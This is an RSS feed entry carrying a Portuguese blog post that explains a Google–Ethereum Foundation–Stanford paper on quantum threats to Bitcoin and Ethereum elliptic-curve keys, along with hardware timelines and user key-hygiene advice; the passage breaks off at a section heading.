<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Bitcoin-E-Criptomoedas | AkitaOnRails.com</title><link>https://akitaonrails.github.io/tags/bitcoin-e-criptomoedas/</link><description>Blog do Fabio Akita do Canal do YouTube 'Akitando' falando sobre tecnologia, carreira e coisas geek.</description><generator>Hugo -- gohugo.io</generator><language>pt-BR</language><lastBuildDate>Mon, 19 Oct 2026 23:20:48 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/tags/bitcoin-e-criptomoedas/index.xml" rel="self" type="application/rss+xml"/><item><title>O que significa o Paper do Google sobre Vulnerabilidade Quântica</title><link>https://akitaonrails.github.io/2026/08/16/o-que-significa-o-paper-do-google-sobre-vulnerabilidade-quantica/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/16/o-que-significa-o-paper-do-google-sobre-vulnerabilidade-quantica/</guid><pubDate>Sun, 16 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Saiu um paper do Google e a manchete previsível veio junto: &amp;ldquo;computador quântico vai quebrar o Bitcoin&amp;rdquo;. Do outro lado, a turma do &amp;ldquo;isso é FUD, ignora&amp;rdquo; respondeu no mesmo volume. As duas reações estão erradas, e o paper em si é bem mais interessante que qualquer um dos dois gritos.&lt;/p&gt;
&lt;p&gt;O documento se chama &lt;a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener"&gt;Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities&lt;/a&gt;, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar &lt;a href="https://pt.wikipedia.org/wiki/RSA_%28sistema_criptogr%C3%A1fico%29"target="_blank" rel="noopener"&gt;RSA&lt;/a&gt;), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da &lt;a href="https://pt.wikipedia.org/wiki/Criptografia_de_curva_el%C3%ADptica"target="_blank" rel="noopener"&gt;criptografia de curva elíptica&lt;/a&gt;). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Saiu um paper do Google e a manchete previsível veio junto: &ldquo;computador quântico vai quebrar o Bitcoin&rdquo;. Do outro lado, a turma do &ldquo;isso é FUD, ignora&rdquo; respondeu no mesmo volume. As duas reações estão erradas, e o paper em si é bem mais interessante que qualquer um dos dois gritos.</p>
<p>O documento se chama <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities</a>, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar <a href="https://pt.wikipedia.org/wiki/RSA_%28sistema_criptogr%C3%A1fico%29"target="_blank" rel="noopener">RSA</a>), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da <a href="https://pt.wikipedia.org/wiki/Criptografia_de_curva_el%C3%ADptica"target="_blank" rel="noopener">criptografia de curva elíptica</a>). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.</p>
<p>Antes de qualquer coisa: <strong>leia o paper direto</strong>. Ele é longo, denso, mas escrito com um cuidado raro, inclusive num esforço explícito de não virar FUD.</p>
<p>O que eu faço aqui é minha própria leitura, depois comparo com o que o GLM, o Kimi e o ChatGPT acharam quando pedi pra eles rasgarem o texto, e no fim tento responder a pergunta que interessa pra quem tem meia dúzia de satoshis ou de ether na carteira: qual é, no mundo real, a chance de um computador quântico roubar dinheiro seu nos próximos anos?</p>
<p>Adianto o espírito da coisa: o céu não está caindo. Mas o recado de &ldquo;comece a se mexer agora&rdquo; tem fundamento, e a razão é mais sutil do que &ldquo;o quântico vem aí&rdquo;.</p>
<p>O resumo, pra quem tem pressa:</p>
<ul>
<li><strong>O paper é sério e a conta fecha.</strong> Google, Ethereum Foundation e Stanford mostram que quebrar a secp256k1 caiu pra menos de 500 mil qubits físicos e cerca de 9 minutos, num cenário condicional já confirmado por reprodução aberta e independente.</li>
<li><strong>Isso mede o tamanho da máquina; a data continua em aberto.</strong> O melhor hardware de hoje trabalha com uns 12 qubits lógicos, e o ataque pede mais de 1.200. Pelo roteiro da IBM, o hardware do tamanho certo aparece lá por 2033.</li>
<li><strong>O Bitcoin não vai acabar.</strong> O risco atinge quem tem a chave pública exposta, um subconjunto de endereços (uns 6,9 milhões de BTC, boa parte já perdida). Carteira moderna sem reuso fica segura em repouso, e a mineração não corre risco nenhum.</li>
<li><strong>O que dá pra fazer.</strong> Como usuário, higiene de chave: endereço novo a cada uso, sem reuso (senha mais forte não ajuda contra o quântico). Como indústria, começar a migração pós-quântica agora, em camadas, sem jogar tudo fora.</li>
</ul>
<p>Abaixo, cada um desses pontos com calma: o que o paper diz, onde eu concordo e discordo dos outros modelos, a chance real com prazos, e o que fazer na prática.</p>
<h2>O que o paper realmente diz, em português de engenheiro<span class="hx:absolute hx:-mt-20" id="o-que-o-paper-realmente-diz-em-português-de-engenheiro"></span>
    <a href="#o-que-o-paper-realmente-diz-em-portugu%c3%aas-de-engenheiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Deixa eu tirar o jargão da frente primeiro. A segurança do Bitcoin, do Ethereum e de quase toda cripto se apoia num problema matemático: dado uma chave pública, é inviável calcular a chave privada correspondente. Todo mundo vê sua chave pública; ninguém consegue voltar dela pra sua chave privada. É essa mão única que faz uma assinatura digital valer alguma coisa.</p>
<p>O <a href="https://pt.wikipedia.org/wiki/Algoritmo_de_Shor"target="_blank" rel="noopener">algoritmo de Shor</a>, rodando num computador quântico grande o suficiente, quebra exatamente essa mão única. Ele transforma &ldquo;inviável&rdquo; em &ldquo;questão de minutos&rdquo;. Isso não é novidade desde 1994. A novidade do paper é outra, e são cinco pontos.</p>
<p><strong>Primeiro: o custo despencou.</strong> O time do Google apresenta circuitos novos pra resolver o problema da curva <a href="https://en.bitcoin.it/wiki/Secp256k1"target="_blank" rel="noopener">secp256k1</a> (a curva do Bitcoin e das contas do Ethereum) usando muito menos recurso do que se imaginava. São duas receitas: uma com menos de 1.200 qubits lógicos e 90 milhões de portas Toffoli, outra com menos de 1.450 qubits lógicos e 70 milhões de portas.</p>
<p>Em hardware supercondutor, com premissas padrão de correção de erro, isso caberia em <strong>menos de 500 mil qubits físicos</strong> — quase 20 vezes menos que estimativas anteriores — e rodaria em <strong>9 a 12 minutos</strong> a partir de um estado pré-computado. Guarde esse número: 9 minutos. Ele é o que assusta, porque é menor que o intervalo médio de um bloco do Bitcoin.</p>
<p><strong>Segundo: eles não publicaram o circuito.</strong> Aqui tem uma jogada elegante e polêmica ao mesmo tempo. Pra provar que têm um circuito daquele tamanho sem entregar a arma carregada pra qualquer um, eles publicaram uma <strong><a href="https://pt.wikipedia.org/wiki/Prova_de_conhecimento_zero"target="_blank" rel="noopener">prova de conhecimento zero</a></strong>: uma prova matemática de que possuem o circuito, sem revelar o circuito. É responsável na intenção. Só que, como eu conto mais pra frente, essa parte foi o ponto mais frágil da história.</p>
<p>Se &ldquo;prova de conhecimento zero&rdquo; soa esotérico, a ideia é simples e velha na criptografia: provar que você sabe ou tem alguma coisa sem revelar a coisa em si. Dá pra provar que você é maior de idade sem mostrar a data de nascimento, ou que sabe a senha sem digitá-la.</p>
<p>É o mesmo truque por trás da privacidade de várias criptomoedas: o Zcash usa ZK (os tais zk-SNARKs) pra validar transações blindadas sem expor valor nem endereço, o Monero usa provas de faixa (os bulletproofs) pra esconder quanto foi enviado, e os zk-rollups do Ethereum usam ZK pra comprovar que um lote de transações é válido sem reprocessar tudo. No paper, o Google usa a mesma família de ferramenta pra provar que possui o circuito, sem entregar o circuito.</p>
<p><strong>Terceiro: nem todo computador quântico serve pra tudo.</strong> O paper cria uma distinção que é a melhor contribuição prática do texto. Existe o &ldquo;relógio rápido&rdquo; (supercondutor, fotônico) e o &ldquo;relógio lento&rdquo; (íons aprisionados, átomos neutros), com uma diferença de 100 a 1.000 vezes na velocidade. Dessa velocidade saem três tipos de ataque:</p>
<ul>
<li><strong>Ataque no gasto (on-spend):</strong> o atacante intercepta sua transação no mempool, quebra a chave e injeta uma transação rival antes do seu gasto entrar num bloco. Precisa de relógio rápido, porque é uma corrida contra o relógio do bloco.</li>
<li><strong>Ataque em repouso (at-rest):</strong> a chave pública já está exposta na blockchain (carteira parada, chave reusada). O atacante tem dias ou meses pra trabalhar. Serve até relógio lento.</li>
<li><strong>Ataque na configuração (on-setup):</strong> uma única computação quântica extrai um segredo de uma cerimônia criptográfica e vira um gabarito reutilizável, que depois roda em computador clássico comum. Esse é o mais insidioso, e ataca coisas como o mecanismo de dados do Ethereum.</li>
</ul>
<p><strong>Quarto: o mapa de quem sangra.</strong> No Bitcoin, os alvos em repouso são os scripts antigos <a href="https://en.bitcoin.it/wiki/Script"target="_blank" rel="noopener">P2PK</a> (cerca de 1,7 milhão de BTC, quase tudo da era Satoshi e provavelmente perdido), o <a href="https://bitcoinops.org/en/topics/taproot/"target="_blank" rel="noopener">Taproot</a> (P2TR, que expõe a chave), e qualquer endereço reusado.</p>
<p>Somando tudo, o paper estima cerca de 6,9 milhões de BTC vulneráveis hoje, dos quais uns 2,3 milhões estão dormentes há mais de cinco anos. Os endereços modernos que escondem a chave atrás de um hash e nunca gastaram continuam seguros em repouso.</p>
<p>E tem uma boa notícia enterrada aqui: <strong>a mineração do Bitcoin não corre risco</strong>. O <a href="https://pt.wikipedia.org/wiki/Algoritmo_de_Grover"target="_blank" rel="noopener">algoritmo de Grover</a>, que atacaria a mineração, tem ganho pequeno demais e não paraleliza; o overhead de correção de erro come tudo. O paper enterra esse mito de propósito.</p>
<blockquote>
  <p><strong>A mineração do Bitcoin não corre risco. O quântico derrubando o Proof-of-Work é o mito que este paper enterra de propósito.</strong></p>

</blockquote>
<p><strong>Quinto: o Ethereum tem uma superfície bem maior.</strong> O modelo de contas expõe a chave pública permanentemente depois da primeira transação, ao contrário do modelo de UTXO do Bitcoin. Some a isso as chaves administrativas de contratos (stablecoins, pontes, oráculos), as <a href="https://en.wikipedia.org/wiki/BLS_digital_signature"target="_blank" rel="noopener">assinaturas BLS</a> que seguram o consenso <a href="https://pt.wikipedia.org/wiki/Prova_de_participa%C3%A7%C3%A3o"target="_blank" rel="noopener">Proof-of-Stake</a>, e os <a href="https://dankradfeist.de/ethereum/2020/06/16/kate-polynomial-commitments.html"target="_blank" rel="noopener">compromissos KZG</a> da camada de dados. É mais coisa exposta, e boa parte não dá pra &ldquo;trocar de endereço&rdquo; pra escapar.</p>
<p>E como o paper argumenta tudo isso? Três pernas: as estimativas de recurso (com a prova de conhecimento zero pra dar credibilidade), dados reais da blockchain (as quantidades de BTC e ETH em risco vêm de consultas públicas ao <a href="https://en.wikipedia.org/wiki/BigQuery"target="_blank" rel="noopener">BigQuery</a>), e o enquadramento honesto de que o objetivo é acender o alerta pra migrar, deixando claro que a máquina ainda está por vir.</p>
<p>O paper, aliás, <strong>não dá uma data</strong>. Ele mede o tamanho da máquina e para aí; o calendário fica em aberto.</p>
<h2>Onde eu concordo e onde discordo dos outros modelos<span class="hx:absolute hx:-mt-20" id="onde-eu-concordo-e-onde-discordo-dos-outros-modelos"></span>
    <a href="#onde-eu-concordo-e-onde-discordo-dos-outros-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pedi pro GLM 5.3, pro Kimi K3 e pro ChatGPT (GPT 5.6) analisarem e criticarem o paper. O interessante é que os três, e eu, convergimos no essencial e divergimos exatamente nos mesmos pontos. Isso é um bom sinal: quando modelos diferentes batem no mesmo prego, o prego costuma existir.</p>
<p><strong>No que todo mundo concorda (e eu também):</strong></p>
<ul>
<li>A estimativa de recurso lógico é <strong>crível</strong>. Não é um número solto: segue a trajetória histórica (o custo pra quebrar RSA-2048 caiu de ~1 bilhão de qubits em 2012 pra menos de 1 milhão em 2025) e vem justamente do grupo que produziu as melhores estimativas da área.</li>
<li>A distinção relógio rápido / relógio lento e o par gasto / repouso é a lente certa pra pensar mitigação.</li>
<li>A imunidade da mineração é correta e precisava ser dita em voz alta.</li>
<li>Os assets dormentes são um problema real que nenhum fork de software resolve sozinho, porque ninguém tem a chave privada pra mover as moedas perdidas.</li>
</ul>
<p><strong>No que todo mundo faz ressalva (e eu reforço):</strong></p>
<p>O ChatGPT foi o mais preciso numa distinção que vale ouro: <strong>existe um abismo entre &ldquo;valor em risco&rdquo; e &ldquo;perda esperada&rdquo;</strong>. Quando o paper diz &ldquo;20,5 milhões de ETH em contas vulneráveis&rdquo; ou &ldquo;6,9 milhões de BTC expostos&rdquo;, isso mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.</p>
<p>Tem sobreposição, tem multisig, tem chave administrativa que dá pra rotacionar, tem contrato com conselho de emergência que pausa tudo. Empilhar esses números numa manchete de &ldquo;trilhões em risco&rdquo; é desonesto com o próprio paper.</p>
<blockquote>
  <p><strong>&ldquo;Valor em risco&rdquo; mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.</strong></p>

</blockquote>
<p>O mesmo vale pro famoso <strong>41% de chance de roubo no Bitcoin</strong>. Esse número é só a probabilidade de a computação de 9 minutos terminar antes do próximo bloco aparecer (o bloco chega em média a cada 10 minutos, mas com muita variância). Não é a chance de roubar seu dinheiro.</p>
<p>Pra roubar, o atacante ainda precisa propagar a transação rival, convencer um minerador a incluí-la, vencer a corrida de taxa. E o próprio paper assume condições favoráveis ao atacante (rede sem congestionamento, entrega instantânea). Kimi e ChatGPT batem nisso, e eu concordo.</p>
<p>O ponto mais importante, e que eu acho que o paper deixa nas entrelinhas de propósito: <strong>os 500 mil qubits físicos e os 9 minutos descrevem um cenário de engenharia condicional. De data, o paper não fala.</strong> É um projeto de máquina que <em>poderia</em> fazer o ataque, assumindo taxa de erro de 0,1%, ciclos de correção de 1 microssegundo, decodificação de baixa latência, fábricas de estado mágico suficientes, e meio milhão de qubits operando estáveis por minutos a fio.</p>
<p>Cada premissa é razoável isolada. A corrente inteira funcionando junta, nessa escala, ninguém demonstrou.</p>
<p>E aqui entra o ponto mais interessante, que o Kimi e o ChatGPT pegaram e eu confirmei buscando fora: <strong>o mecanismo da prova de conhecimento zero tinha um bug.</strong> A Trail of Bits <a href="https://blog.trailofbits.com/2026/04/17/we-beat-googles-zero-knowledge-proof-of-quantum-cryptanalysis/"target="_blank" rel="noopener">conseguiu forjar uma prova</a> explorando falhas de memória e de lógica no código Rust do verificador do Google, a ponto de gerar uma prova que reportava zero portas Toffoli pra um circuito que nem era reversível.</p>
<p>Repare no que isso quebra e no que não quebra. O furo estava no software que checa a prova, não numa demonstração de que o circuito do paper está errado. A prova deixou de ser confiável, e a alegação científica em si ficou de pé, sem prova nem contraprova. O Google corrigiu o verificador na versão 2.</p>
<p>A lição é sobre confiança: em vez de confiar na palavra do Google, a prova te pedia pra confiar no parser, no compilador e no simulador dele.</p>
<p>E é justamente por isso que a reprodução independente importa tanto. Em junho de 2026, o pesquisador André Schrottenloher <a href="https://postquantum.com/security-pqc/google-ecdlp-circuits-reproduced-open/"target="_blank" rel="noopener">refez os circuitos de forma aberta</a>, chegando na mesma região: cerca de 56 milhões de portas Toffoli, com o circuito inteiro publicado e reproduzível.</p>
<p>O próprio Gidney reconheceu que a reprodução capturou o avanço essencial, e depois disso outros já empurraram o número pra baixo de mil qubits lógicos. Ou seja: a alegação central do paper se sustentou, mas por um caminho que não depende de confiar no software de prova de ninguém. Quem fechou a conta foi a ciência aberta.</p>
<p>Um último ponto que quase ninguém levanta e eu acho que precisa ser dito: <strong>conflito de interesse.</strong> Sete autores são do Google Quantum AI, cujo roteiro de hardware é justamente a arquitetura supercondutora que o paper faz parecer a ameaça mais próxima. E tem um coautor da Ethereum Foundation num paper que classifica o Ethereum como mais exposto e recomenda migração urgente.</p>
<p>Os autores declaram posições compradas em cripto e nenhuma vendida, o que é honesto. Isso não invalida nada — a competência técnica do time é a melhor da área — mas pede leitura calibrada, de cabeça fria.</p>
<h2>A pergunta que interessa: qual a chance real, e quando?<span class="hx:absolute hx:-mt-20" id="a-pergunta-que-interessa-qual-a-chance-real-e-quando"></span>
    <a href="#a-pergunta-que-interessa-qual-a-chance-real-e-quando" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vamos separar o teórico do real, que é onde a maioria das discussões vira sopa.</p>
<p><strong>No teórico, a resposta é sim, com folga.</strong> Se existir uma máquina grande e estável o suficiente, o algoritmo de Shor quebra a secp256k1. Do lado matemático já está resolvido; o que falta é engenharia. A pergunta toda se resume a: <em>quando essa máquina existe?</em></p>
<h3>Qubit físico contra qubit lógico<span class="hx:absolute hx:-mt-20" id="qubit-físico-contra-qubit-lógico"></span>
    <a href="#qubit-f%c3%adsico-contra-qubit-l%c3%b3gico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui vale um parêntese pra separar dois números que confundem quase todo mundo: qubit físico e qubit lógico. O qubit físico é o hardware real, e ele é ruidoso; perde o estado num piscar, por interferência, calor, vibração. Sozinho, erra demais pra qualquer conta séria.</p>
<p>A saída é a correção de erro: você junta centenas ou milhares de qubits físicos, todos representando <strong>um</strong> único qubit lógico, e usa a redundância pra detectar e consertar os erros em tempo real. O qubit lógico é o qubit &ldquo;de verdade&rdquo;, estável, que o algoritmo enxerga.</p>
<p>E é aí que a dificuldade se esconde atrás dos números. O ataque não pede só 1.200 qubits lógicos; pede <strong>1.200 qubits lógicos funcionando juntos, todos estáveis ao mesmo tempo, por minutos a fio</strong>, executando dezenas de milhões de operações sem que o sistema de correção seja soterrado por erro.</p>
<p>É como manter mil pratos girando de uma vez, cada prato feito de mil peças que querem cair, durante a apresentação inteira. Manter um único prato desses de pé por um instante já foi o feito histórico de 2024. O salto pra mil pratos, girando por minutos, é o abismo de verdade.</p>
<h3>Onde o hardware está hoje<span class="hx:absolute hx:-mt-20" id="onde-o-hardware-está-hoje"></span>
    <a href="#onde-o-hardware-est%c3%a1-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>Na realidade de hoje, estamos longe.</strong> O próprio Google ajuda a medir a distância. O <a href="https://blog.google/innovation-and-ai/technology/research/google-willow-quantum-chip/"target="_blank" rel="noopener">Willow</a>, o chip de ponta deles, provou em 2024 correção de erro abaixo do limiar, um feito histórico. Só que o resultado foi <strong>um único qubit lógico</strong> bem corrigido, montado a partir de 101 físicos, que viveu mais que qualquer um deles.</p>
<p>Se a régua for quantidade de qubits lógicos rodando juntos, o recorde público hoje anda perto de uma dúzia (a <a href="https://en.wikipedia.org/wiki/Quantinuum"target="_blank" rel="noopener">Quantinuum</a> chegou a 12). O paper pede mais de 1.200. Nas duas réguas, qualidade e quantidade, a distância fica na casa das cem vezes, e cada qubit lógico ainda custa milhares de qubits físicos com a estabilidade que falta.</p>
<p>Em qubits físicos, o maior sistema anunciado está na casa dos milhares; o ataque quer quase meio milhão. São várias ordens de grandeza de distância, em várias dimensões ao mesmo tempo. Nada que um ajuste fino resolva.</p>
<blockquote>
  <p><strong>Hoje o melhor hardware trabalha com qubits lógicos na casa da dúzia. O ataque pede mais de mil. A distância é de ordens de grandeza.</strong></p>

</blockquote>
<p>Tem ainda uma aposta que foge desse jogo de força bruta: a topológica, da Microsoft. A ideia é um qubit protegido por hardware, naturalmente mais resistente a erro, o que reduziria muito a conta de qubits físicos por lógico. O <a href="https://www.forbes.com/sites/moorinsights/2026/07/16/microsoft-doubles-down-on-topological-qubits-with-majorana-2-chip/"target="_blank" rel="noopener">Majorana 2</a>, de 2026, trocou o alumínio por chumbo e pulou a coerência de milissegundos pra 20 segundos, e a Microsoft antecipou a meta de tolerância a falhas de 2033 pra 2029.</p>
<p>Só que é a aposta mais contestada de todas. Boa parte da comunidade duvida que exista um qubit topológico funcionando de verdade ali; o paper mais recente mostra só metade das medições que provariam o qubit. Se der certo, é atalho pra todo mundo; se não, é beco sem saída. Eu destrinchei esse caso <a href="/2026/07/12/noticias-quanticas-majorana-2-e-entendendo-shor/">num artigo à parte</a>.</p>
<h3>Os roteiros e os prazos<span class="hx:absolute hx:-mt-20" id="os-roteiros-e-os-prazos"></span>
    <a href="#os-roteiros-e-os-prazos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>No futuro próximo, aí mora a discussão de verdade.</strong> O jeito honesto de falar disso é por estimativa, porque certeza ninguém tem aqui. A referência mais citada é o <a href="https://globalriskinstitute.org/publication/quantum-threat-timeline/"target="_blank" rel="noopener">Quantum Threat Timeline do Global Risk Institute</a>, uma pesquisa anual com especialistas da área.</p>
<p>A edição de 2025 dá algo como <strong>34% de chance de um computador quântico criptograficamente relevante até ~2030 e ~49% até ~2035</strong>, com a mediana das opiniões caindo entre 2029 e 2032. E essas estimativas são pra um CRQC genérico, tipicamente pensado pra quebrar RSA-2048.</p>
<p>Do lado de quem fabrica, o roteiro mais explícito é o <a href="https://www.ibm.com/roadmaps/quantum/"target="_blank" rel="noopener">da IBM</a>. Ele prevê o Starling em 2029, a primeira máquina tolerante a falhas de larga escala, com 200 qubits lógicos e 100 milhões de operações.</p>
<p>Repare que 200 ainda fica abaixo dos mais de 1.200 que o ataque pede. A máquina do tamanho certo só aparece no passo seguinte, o Blue Jay, marcado pra 2033, com 2.000 qubits lógicos e 1 bilhão de operações.</p>
<p>Pelo próprio roteiro mais agressivo da indústria, então, o hardware com qubits lógicos suficientes pra ameaçar a secp256k1 chega lá por 2033, com a ressalva de sempre: roteiro de quântica escorrega. A IBM aposta em códigos <a href="https://errorcorrectionzoo.org/c/qldpc"target="_blank" rel="noopener">qLDPC</a> pra isso, que reduzem em cerca de 90% os qubits físicos por trás de cada lógico ante o surface code do Willow.</p>
<p>E a China? Ela está lado a lado na fronteira, o que derruba a ideia de corrida de um cavalo só. O <a href="https://quantumzeitgeist.com/zuchongzhi-3-google-quantum-error-correction/"target="_blank" rel="noopener">Zuchongzhi 3.2</a>, da USTC, cruzou em 2025 o mesmo limiar de correção de erro do Willow, com um qubit lógico de superfície na distância 7, e foi o primeiro time fora dos EUA a chegar lá.</p>
<p>Mas repare que é o mesmo marco: um único qubit lógico bem corrigido, o mesmo abismo de cem vezes até os 1.200. E, no público, a China ainda não colocou na mesa um roteiro datado pra máquina grande como o da IBM; o plano declarado é incremental, empurrar a distância do código pra 9 e 11. Na ciência de fronteira, empatam; num calendário até a máquina que quebra cripto, ninguém dos dois lados tem uma data fácil.</p>
<p>Um aviso sobre todas essas datas: elas são o melhor cenário, com cada roteiro publicado entregando no prazo. Roteiro é declaração de intenção, e o histórico da computação quântica é de prazos que escorregam pra frente.</p>
<p>Vou além, e aqui é opinião minha: eu aposto num prazo pelo menos uma ordem de grandeza maior que esses roteiros. Manter milhares de qubits lógicos em sincronia, sem erro, por minutos seguidos, é um problema tudo menos linear. Sinto que cada qubit lógico a mais deixa o conjunto exponencialmente mais difícil de segurar junto: a dificuldade de sincronizar multiplica a cada peça nova, em vez de só somar.</p>
<h3>Minha leitura, em números<span class="hx:absolute hx:-mt-20" id="minha-leitura-em-números"></span>
    <a href="#minha-leitura-em-n%c3%bameros" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Colando isso na realidade específica da cripto, minha leitura em números redondos, tomando os roteiros pelo valor de face (bem mais otimista que a minha aposta ali de cima), e sempre como estimativa e opinião:</p>
<ul>
<li><strong>Nos próximos 2 a 3 anos (até ~2029):</strong> perto de zero. Sair de 12 pra 1.200 qubits lógicos estáveis nesse prazo não está em nenhum roteiro público sério.</li>
<li><strong>No horizonte 2030–2032:</strong> baixo, mas não desprezível. Talvez 10% a 20% de a máquina existir <em>em princípio</em>. A chance de roubo de fato é ainda menor, porque os alvos de maior valor (exchanges, carteiras modernas) terão se mexido antes.</li>
<li><strong>Lá por 2035:</strong> aí a moeda vira coin flip pra um CRQC genérico, na casa dos 40% a 50% segundo os especialistas. Só que &ldquo;existe um CRQC&rdquo; não é o mesmo que &ldquo;roubaram seu dinheiro&rdquo;. Até lá, a migração já deveria estar bem andada.</li>
</ul>
<p>O detalhe que decide tudo, e que o Mosca resume num teorema simples: o que importa é <strong>a data da máquina menos o tempo que a sua migração leva</strong>. Se migrar leva anos, e a máquina pode chegar em cinco a dez, você já está no aperto, mesmo com probabilidade baixa no curto prazo. É por isso que &ldquo;comece agora&rdquo; faz sentido mesmo com o céu limpo. Gestão de risco assimétrico, com a cabeça fria.</p>
<h2>Por que isso não é &ldquo;acabou, tá tudo perdido&rdquo;<span class="hx:absolute hx:-mt-20" id="por-que-isso-não-é-acabou-tá-tudo-perdido"></span>
    <a href="#por-que-isso-n%c3%a3o-%c3%a9-acabou-t%c3%a1-tudo-perdido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mesmo no cenário de uma máquina pronta e um atacante mal-intencionado, o estrago é cirúrgico, atinge alvos específicos em vez de apagar tudo. E o porquê é simples de entender.</p>
<p>Seu dinheiro em cripto não mora no seu HD nem no seu Ledger. Ele mora na blockchain pública, à vista de todo mundo, o tempo todo. O dispositivo só guarda a chave privada que autoriza mover aquilo. Qualquer pessoa pode ir num explorador de blocos, digitar um endereço e ver o saldo. O que decide sua exposição ao quântico é uma coisa só: <strong>a sua chave pública já apareceu em algum lugar?</strong></p>
<p>Nos endereços modernos do Bitcoin (os <code>bc1q</code>, que escondem a chave atrás de um hash), enquanto você <strong>nunca gastou</strong> daquele endereço, a chave pública não está exposta. O atacante quântico não tem por onde começar, porque ele quebra a chave pública, e ela não está lá. Esses fundos estão seguros em repouso.</p>
<p>A exposição só nasce no momento em que você gasta, e mesmo aí é uma janela de minutos, contra um relógio de bloco, precisando da tal máquina de relógio rápido que ainda não existe.</p>
<p>Vale o cuidado com a palavra: &ldquo;resistente ao quântico&rdquo; é grande demais pra esses endereços. O que eles oferecem é proteção em repouso, válida enquanto a chave fica escondida atrás do hash. No dia em que você gasta, a chave pública vai pro bloco e abre a janela de gasto. A blindagem permanente vem mesmo com a migração pra assinatura pós-quântica; o hash só compra tempo até lá.</p>
<p>Por isso o paper fala em cerca de 6,9 milhões de BTC vulneráveis, de um total de quase 20 milhões. A maior fatia disso é chave reusada e os P2PK da era Satoshi, que provavelmente estão perdidos de qualquer jeito.</p>
<p>Isso se concentra num subconjunto de endereços com um comportamento específico, a chave exposta, enquanto o resto da rede segue de fora. Quem usa endereço novo a cada recebimento e não fica gastando do mesmo lugar já está, na prática, fora da mira em repouso.</p>
<blockquote>
  <p><strong>A cripto vulnerável é um subconjunto de endereços com um comportamento específico: chave já exposta. Carteira nova, sem reuso, fica de fora.</strong></p>

</blockquote>
<h2>O que você pode fazer hoje<span class="hx:absolute hx:-mt-20" id="o-que-você-pode-fazer-hoje"></span>
    <a href="#o-que-voc%c3%aa-pode-fazer-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui vem a pergunta que sempre aparece, e a resposta que decepciona quem esperava um botão mágico.</p>
<p><strong>&ldquo;Se eu criar uma carteira com uma senha/passphrase mais forte, isso ajuda?&rdquo;</strong> Não. E entender o porquê ensina o problema inteiro.</p>
<p>Uma passphrase forte protege a sua <em>seed</em> — aquelas 12 ou 24 palavras — contra alguém que tente adivinhar ou roubar o backup. É ótimo e você deve fazer, mas contra ataque clássico.</p>
<p>E cuidado pra não misturar os problemas: seed mal gerada é uma falha separada, do mundo clássico. Foi o que rolou no <a href="/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/">RNG fraco da Coinkite</a>, em que a própria ColdCard cuspia chaves previsíveis por entropia ruim na origem. Lá o defeito está em como a chave nasce; o quântico ataca a matemática da chave já pronta.</p>
<p>O computador quântico não adivinha sua seed. Ele pega a sua chave <strong>pública</strong>, que está na blockchain à vista, e calcula a chave privada correspondente com o Shor. Não importa se a sua chave privada nasceu de uma passphrase de 4 caracteres ou de 40: uma vez que a chave pública apareceu, a força da senha é irrelevante. O quântico ataca a matemática da curva, e essa matemática é a mesma pra todo mundo.</p>
<blockquote>
  <p><strong>O quântico não adivinha sua seed. Ele calcula sua chave privada a partir da chave pública que já está à vista. A força da senha não entra nessa conta.</strong></p>

</blockquote>
<p>O que de fato move o ponteiro é higiene de exposição de chave:</p>
<ul>
<li><strong>Não reuse endereços.</strong> Um endereço por recebimento. No momento em que você gasta de um endereço, a chave pública dele vai pra blockchain; se você continuar usando aquele endereço, o saldo restante passa a ficar exposto em repouso.</li>
<li><strong>Mantenha o grosso em endereços modernos que escondem a chave atrás de um hash</strong> (<code>bc1q</code>, P2WPKH) e dos quais você nunca gastou. Evite deixar reserva parada em Taproot (<code>bc1p</code>) e em endereços P2PK antigos, que expõem a chave direto.</li>
<li><strong>Não espalhe sua chave pública estendida (xpub).</strong> Ferramenta de portfólio, planilha compartilhada, integração de terceiro: cada lugar que recebe seu xpub é mais um ponto de exposição.</li>
<li><strong>Quando surgirem carteiras pós-quânticas de verdade, migre.</strong> Esse é o passo definitivo, e ele vai chegar via atualização de software.</li>
</ul>
<p>E o mais importante pra manter a cabeça no lugar: se você guarda em exchange séria ou usa carteira moderna sem reuso, o seu risco de curto prazo é praticamente zero. A exchange é quem vai ter que migrar por você (com os riscos de custódia que já existem, quânticos ou não). Não precisa sair correndo hoje mover nada em pânico.</p>
<h2>O que a indústria pode fazer, sem radicalismo<span class="hx:absolute hx:-mt-20" id="o-que-a-indústria-pode-fazer-sem-radicalismo"></span>
